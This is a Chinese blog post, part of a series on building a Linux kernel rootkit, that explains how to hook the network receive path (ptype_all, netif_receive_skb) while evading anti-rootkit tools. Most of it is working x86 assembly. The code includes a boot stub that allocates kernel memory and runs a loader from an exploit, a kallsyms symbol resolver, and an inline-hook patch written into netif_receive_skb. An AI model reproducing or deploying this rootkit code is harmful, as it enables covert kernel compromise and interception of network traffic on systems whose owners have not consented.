rookit for linux 4. hook数据链路层

上一篇文章讲了在哪里hook比较合适。

 

有的人说“linux的网络栈是如此的大啊,我怎么可能了解到全部?还是弄点简单的来做吧”

有的人现在心情澎湃,想着吗的老子要马上hook爆你丫的。

 

如果你是前者,那就别看这篇文章了,这篇文章里没有你想要的,你还是回去背你的操作系统课本和汇编课本吧。

如果你是后者,那请继续。

 

有些事情就是要迎难而上。你拼了老命,连啃三天泡面饼干,把代码好好地看一下。你看它还难不难。

 

windows内核里的hook分为很多种。object hook,idt hook。。有一些hook是和linux类似的。

在linux里,首先idt hook是绝对不能用的。sys_call_table,ex_table你也别想着去搞它。因为“ring3下很蹩脚的rootkit检测程序”都能检测到这几种hook。这几种hook是很没意思的,所以就不介绍他们了。

 

至于inline hook。这是一种很黄很暴力的hook。在网上也有不少教程。它的原理就是在插入ljmp,jmp,call指令。前两种用得比较多。计算机组成原理的老师会告诉你什么是三地址码,什么是二地址码。但不会告诉你什么是inline hook。因为这些东西都是坏学生学的。好学生是万万不能学的。

 

inline hook的优点巨大,想hook哪就hook哪。由于使用jmp,环境不会改变(千万别用kprobes)。但是缺点也很巨大,容易被侦测。因为linux的特殊性,有了个proc文件系统,跟内核沟通方便了,领导居然都能深入基层了,通过/proc/kcore都可以直接访问内核在内存中的镜像。所以ring3下就能对比内核在文件中的镜像和内存中的镜像,检测到inline hook,网上就有此类anti-rootkit软件。

所以inline hook要限制使用。最好的方法是暂时性的inline hook。就hook一下下,达到功能了马上恢复。这样就不怕别人侦测到了。但不是什么环境下都能这样用的。

 

看了netif_receive_skb代码后。我觉得有三个方案。

1.在ptypes_all的第一个元素的func函数上hook

2.inline hook netif_receive_skb

3.注册到ptype_base

 

方案1比较难被发现。目前的检测hook的软件还没有检查到那里。

方案2比较暴力。达到跟方案1一样的效果。

方案3已经经过嗅探器的hook了。你只能祈祷嗅探器没有看到你的包。

其实三个方案都不完美,我也想不出完美的方案,如果您有什么好的idea,希望您告诉我,谢谢!

 

 

ptypes_all没有出现在kallsyms里。我们要自己找。我们首先找到dev_add_pack函数,这厮是负责把packet_type挂到types_all里的。

 

  1.    0:   push   %esi
  2.    1:   push   %ebx
  3.    2:   mov    %eax,%esi
  4.    4:   call   0xffef3b38
  5.    9:   mov    (%esi),%eax
  6.    b:   cmp    $0x300,%ax
  7.    f:   lea    0x18(%esi),%ebx
  8.   12:   jne    0x34
  9.   14:   incl   0xc037dbe0
  10.   1a:   mov    0xc037d3c0,%eax
  11.   1f:   mov    %eax,0x18(%esi)
  12.   22:   movl   $0xc037d3c0,0x4(%ebx)
  13.   29:   mov    %ebx,0x4(%eax)
  14.   2c:   mov    %ebx,0xc037d3c0
  15.   32:   jmp    0x55
  16.   34:   shr    $0x5,%eax
  17.   37:   and    $0x78,%eax
  18.   3a:   lea    -0x3fc82cc0(%eax),%ecx
  19.   40:   mov    -0x3fc82cc0(%eax),%edx
  20.   46:   mov    %edx,0x18(%esi)
  21.   49:   mov    %ecx,0x4(%ebx)
  22.   4c:   mov    %ebx,0x4(%edx)
  23.   4f:   mov    %ebx,-0x3fc82cc0(%eax)
  24.   55:   pop    %ebx
  25.   56:   pop    %esi
  26.   57:   jmp    0xffef3daf
  1. void dev_add_pack(struct packet_type *pt)
  2. {
  3.     int hash;
  4.     spin_lock_bh(&ptype_lock);
  5.     if (pt->type == htons(ETH_P_ALL)) {
  6.         netdev_nit++;
  7.         list_add_rcu(&pt->list, &ptype_all);
  8.     } else {
  9.         hash = ntohs(pt->type) & 15;
  10.         list_add_rcu(&pt->list, &ptype_base[hash]);
  11.     }
  12.     spin_unlock_bh(&ptype_lock);
  13. }

就在incl的下面,就能看到ptypes_all的地址了。你要想办法动态获取。如果有反汇编引擎,那就好办了。直接搜incl,然后遇到的第一个直接寻址指令的地址就是了。但现在没有反汇编引擎,就只能用偏移来决定了。

 

获得了,ptypes_all以后,就能找到ptypes_all的第一个元素的func函数了,然后hook就是了(这部分目前还没有实现)。

如果很不好彩ptypes_all是空的。那就用inline hook。

代码如下。

 

  1. #define EXPORT_LABEL(label) /
  2.     .globl label; label:
  3. #define GET_ADDR(label, reg) /
  4.     call 9f;    /
  5.     9: popl reg;    /
  6.     subl $(9b - label), reg
  7. #define GET_STR(str, reg)   /
  8.     call 11f;   /
  9.     .asciz str; /
  10.     11: popl reg
  11. # __DPRINT resvered %eax, %edx !!!!!!!!!
  12. #define __DPRINT(fmt)   /
  13.     GET_STR("printk", %eax);    /
  14.     movl $6, %edx;  /
  15.     call ksym_lookup;   /
  16.     testl %eax, %eax;   /
  17.     jz 111f;    /
  18.     GET_STR(fmt, %edx); /
  19.     movl %edx, (%esp);  /
  20.     call *%eax; /
  21. 111:
  22. EXPORT_LABEL(loader_start)
  23.     pushl %eax
  24.     pushl %ebx
  25.     pushl %ecx
  26.     pushl %edx
  27.     pushl %edi
  28.     pushl %esi
  29.     subl $10, %esp
  30.     __DPRINT("<3>fuck, we are in kernel/n");
  31.     GET_STR("dev_add_pack", %eax)
  32.     movl $12, %edx
  33.     call ksym_lookup
  34.     jz loader_out
  35.     movl 0x1b(%eax), %ebx
  36.     movl %ebx, 4(%esp)
  37.     __DPRINT("<3>ptype_all at %lx/n");
  38.     # find the addr of ptype_all in dev_add_pack's code
  39.     cmpl (%ebx), %ebx
  40.     jz install_ih
  41.     # _if ptype_all is empty, install inline hook at netif_receive_skb
  42.     # _if ptype_all isn't empty, hook ptype_all->next->func
  43. install_ph:
  44.     movl (%ebx), %ebx
  45.     movl %ebx, 4(%esp)
  46.     __DPRINT("<3>ptype_all's 1st element at %lx, ready to install ptype_all hook/n");
  47.     
  48.     jmp loader_out
  49. install_ih: 
  50.     __DPRINT("<3>ptype_all is empty, ready to install inline hook/n");
  51.     GET_STR("netif_receive_skb", %eax)
  52.     movl $17, %edx
  53.     call ksym_lookup
  54.     jz loader_out
  55.     movl %eax, %edi
  56.     
  57.     movl %eax, 4(%esp)
  58.     __DPRINT("<3>netif_receive_skb at %lx/n");
  59.     movw $0x1d8b, 4(%esp)
  60.     movl %ebx, 6(%esp)
  61.     # esp[4 ~ 10] = asm ("movl %0xxxxx, %edx") ;
  62.     movl %edi, %eax
  63.     movl $0x200, %edx
  64.     leal 4(%esp), %ecx
  65.     movl $6, (%esp)
  66.     call memmem
  67.     testl %eax, %eax
  68.     jz loader_out
  69.     # ih_addr = memmem(netif_receive_skb, 200, asm ("movl %0xxxx, %edx"), 6);
  70.     movl %eax, %ebx
  71.     GET_ADDR(ih_nrs_retbuf, %eax)
  72.     movl %eax, 8(%esp)
  73.     movl %ebx, 4(%esp)
  74.     __DPRINT("<3>inline hook addr found at %lx/n<3>the addr of ih_nrs_retbuf is %lx")
  75.     # the byte of asm ("ljmp $0x60, $0x12345678") is
  76.     # ea 78 56 34 12 60 00
  77.     # now we will fill the ih_nrs_retbuf, and cover the code at ih_addr
  78.     movl %ebx, %esi
  79.     GET_ADDR(ih_nrs_retbuf, %edi)
  80.     movl $9, %ecx
  81.     cld; rep movsb
  82.     movb $0xea, (%edi)
  83.     leal 9(%ebx), %eax
  84.     movl %eax, 1(%edi)
  85.     movw $0x0060, 5(%edi)
  86.     movl %ebx, %edi
  87.     movb $0xea, (%edi)
  88.     GET_ADDR(ih_netif_receive_skb, %eax)
  89.     movl %eax, 1(%edi)
  90.     movl $0x90900060, 5(%edi)
  91. loader_out:
  92.     addl $10, %esp
  93.     popl %esi
  94.     popl %edi
  95.     popl %edx
  96.     popl %ecx
  97.     popl %ebx
  98.     popl %eax
  99.     ret
  100. # inline hook of netif_receive_skb
  101. ih_netif_receive_skb:
  102.     pushl %eax
  103.     pushl %edx
  104.     __DPRINT("<3>netif_receive_skb called/n")
  105.     popl %edx
  106.     popl %eax
  107. ih_nrs_retbuf:
  108.     .fill 20
  109. # fastcall void *memmem(void *dst, int dstlen, void *src, int srclen)
  110. # find matched bytes
  111. # @dst: place to find
  112. # @dstlen: max bytes to find
  113. # @src: bytes to match
  114. # @srclen: length of the match bytes
  115. # return: if found, return the addr, else return 0
  116. EXPORT_LABEL(memmem)
  117.     pushl %ebx
  118.     pushl %esi
  119.     pushl %edi
  120.     movl 0x10(%esp), %edi
  121.     movl %ecx, %esi
  122. 4:  movb (%eax), %bl
  123.     movb (%ecx), %bh
  124.     cmpb %bl, %bh
  125.     jnz 1f
  126.     incl %ecx
  127.     decl %edi
  128.     jnz 2f
  129.     subl 0x10(%esp), %eax
  130.     incl %eax
  131.     jmp 3f
  132. 1:  movl 0x10(%esp), %edi
  133.     movl %esi, %ecx
  134. 2:  decl %edx
  135.     jz 5f
  136.     incl %eax
  137.     jmp 4b
  138. 5:  xorl %eax, %eax
  139. 3:  popl %edi
  140.     popl %esi
  141.     popl %ebx
  142.     ret
  143. # fastcall unsigned long ksym_lookup(char *name, int len)
  144. # @name: name of the function to find
  145. # @len: len of the name
  146. # return: addr of the function
  147. EXPORT_LABEL(ksym_lookup)
  148. #define FD 0
  149. #define BUF 4
  150. #define SAVEDS 1020
  151. #define FNLEN 1024
  152. #define FN 1028
  153. #define SSZ 1032
  154.     pushl %ebp
  155.     pushl %esi
  156.     pushl %edi
  157.     pushl %ecx
  158.     pushl %ebx
  159.     subl $SSZ, %esp
  160.     movl %eax, FN(%esp)
  161.     movl %edx, FNLEN(%esp)
  162.     # set KERNEL_DS
  163.     movl %esp, %eax
  164.     andl $0xffffe000, %eax
  165.     movl 0x18(%eax), %ebx
  166.     movl %ebx, SAVEDS(%esp)
  167.     movl $0xffffffff, 0x18(%eax)
  168.     # open("/proc/kallsyms", O_RDONLY, 0);
  169.     movl $5, %eax
  170.     GET_STR("/proc/kallsyms", %ebx)
  171.     xorl %ecx, %ecx
  172.     xorl %edx, %edx
  173.     int $0x80
  174.     testl %eax, %eax
  175.     js ksym_out
  176.     movl %eax, FD(%esp)
  177.     leal BUF(%esp), %ecx
  178. getch_repeat:
  179.     # read(fd, ecx, 1);
  180.     movl $3, %eax
  181.     movl FD(%esp), %ebx
  182.     movl $1, %edx
  183.     int $0x80
  184.     cmpl $1, %eax
  185.     jnz ksym_out_close
  186.     cmpb $'/n', (%ecx)
  187.     jz newline
  188.     incl %ecx
  189.     jmp getch_repeat
  190.     # when a '/n' is read, start parse a new line
  191. newline:
  192.     # skip ' ' in output line 'c01xxxx T funcname'
  193.     leal BUF(%esp), %esi
  194.     movl $2, %ebp
  195. 1:
  196.     cmpb $' ', (%esi)
  197.     jnz 2f
  198.     decl %ebp
  199.     jz 3f
  200. 2:
  201.     incl %esi
  202.     cmpl %ecx, %esi
  203.     jl 1b
  204.     jmp newline_out
  205. 3:
  206.     # cmp str between function name in output line and 'kallsyms_lookup_name'
  207.     incl %esi
  208.     movl FN(%esp), %edi
  209.     movl %ecx, %eax
  210.     subl %esi, %eax
  211.     movl FNLEN(%esp), %ecx
  212.     cmpl %eax, %ecx
  213.     jae 1f
  214.     movl %eax, %ecx
  215.     1:
  216.     incl %ecx
  217.     cld
  218.     repz cmpsb
  219.     testl %ecx, %ecx
  220.     jnz newline_out
  221.     # convert the address from str to ulong. saved in eax
  222.     leal BUF(%esp), %esi
  223.     xorl %eax, %eax
  224. 1:
  225.     movb (%esi), %bl
  226.     cmpb $' ', %bl
  227.     jz 4f
  228.     cmpb $'a', %bl
  229.     jl 2f
  230.     subb $('a' - 10), %bl
  231.     jmp 3f
  232. 2:
  233.     subb $'0', %bl
  234. 3:
  235.     andb $0x0F, %bl
  236.     shl $4, %eax
  237.     movb %al, %cl
  238.     andb $0xF0, %cl
  239.     orb %bl, %cl
  240.     movb %cl, %al
  241.     incl %esi
  242.     jmp 1b
  243. 4:
  244.     # successfully convert address !!
  245.     jmp ksym_out_close
  246. newline_out:
  247.     leal BUF(%esp), %ecx
  248.     jmp getch_repeat
  249. ksym_out_close:
  250.     pushl %eax
  251.     movl $6, %eax
  252.     movl FD(%esp), %ebx
  253.     int $0x80
  254.     popl %eax
  255. ksym_out:
  256.     movl %esp, %ebx
  257.     andl $0xffffe000, %ebx
  258.     movl SAVEDS(%esp), %ecx
  259.     movl %ecx, 0x18(%ebx)
  260.     addl $SSZ, %esp
  261.     popl %ebx
  262.     popl %ecx
  263.     popl %edi
  264.     popl %esi
  265.     popl %ebp
  266.     ret
  267. #undef FD
  268. #undef BUF
  269. #undef SAVEDS
  270. #undef FNLEN
  271. #undef FN
  272. #undef SSZ
  273. EXPORT_LABEL(loader_end)
  274. EXPORT_LABEL(boot_start)
  275.     subl $10, %esp
  276.     GET_STR("__kmalloc", %eax)
  277.     movl $9, %edx
  278.     call ksym_lookup
  279.     testl %eax, %eax
  280.     jz boot_out
  281.     # ksym_lookup("__kmalloc", 9);
  282.     movl %eax, %ecx
  283.     movl $(loader_end - loader_start), %eax
  284.     movl $(0x10 | 0x40 | 0x80), %edx
  285.     call *%ecx
  286.     testl %eax, %eax
  287.     jz boot_out
  288.     # kmalloc(loader_size, GFP_KENREL);
  289.     movl %eax, %edi
  290.     GET_STR("printk", %eax)
  291.     movl $6, %edx
  292.     call ksym_lookup
  293.     testl %eax, %eax
  294.     jz boot_out
  295.     GET_STR("<3>loader at %lx/n", %ebx)
  296.     movl %ebx, (%esp)
  297.     movl %edi, 4(%esp)
  298.     call *%eax
  299.     movl %edi, %ebp
  300.     GET_ADDR(loader_start, %esi)
  301.     movl $(loader_end - loader_start), %ecx
  302.     cld; rep movsb
  303.     call *%ebp
  304. boot_out:
  305.     addl $10, %esp
  306.     ret
  307. EXPORT_LABEL(boot_end)

 

 

定义了几个宏。是经常用到的。

GET_ADDR用于获取一个label的绝对地址,GET_STR用于把给定字符串的首地址赋值给指定的寄存器。

fastcall就是分别用eax, edx, ecx传第1,2,3个参数,后续的用栈。

现在我们的漏洞利用程序里,kernel_code直接跳转到boot_start。

boot目前的作用是把loader部分放在新申请的内核的内存空间里,然后运行。

loader目前的作用就是hook ptypes_all。

以后就按这个框架来写了,这种代码用的是最低级的bin格式。但这种格式很好啊,易于控制。以后可能会用c。

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值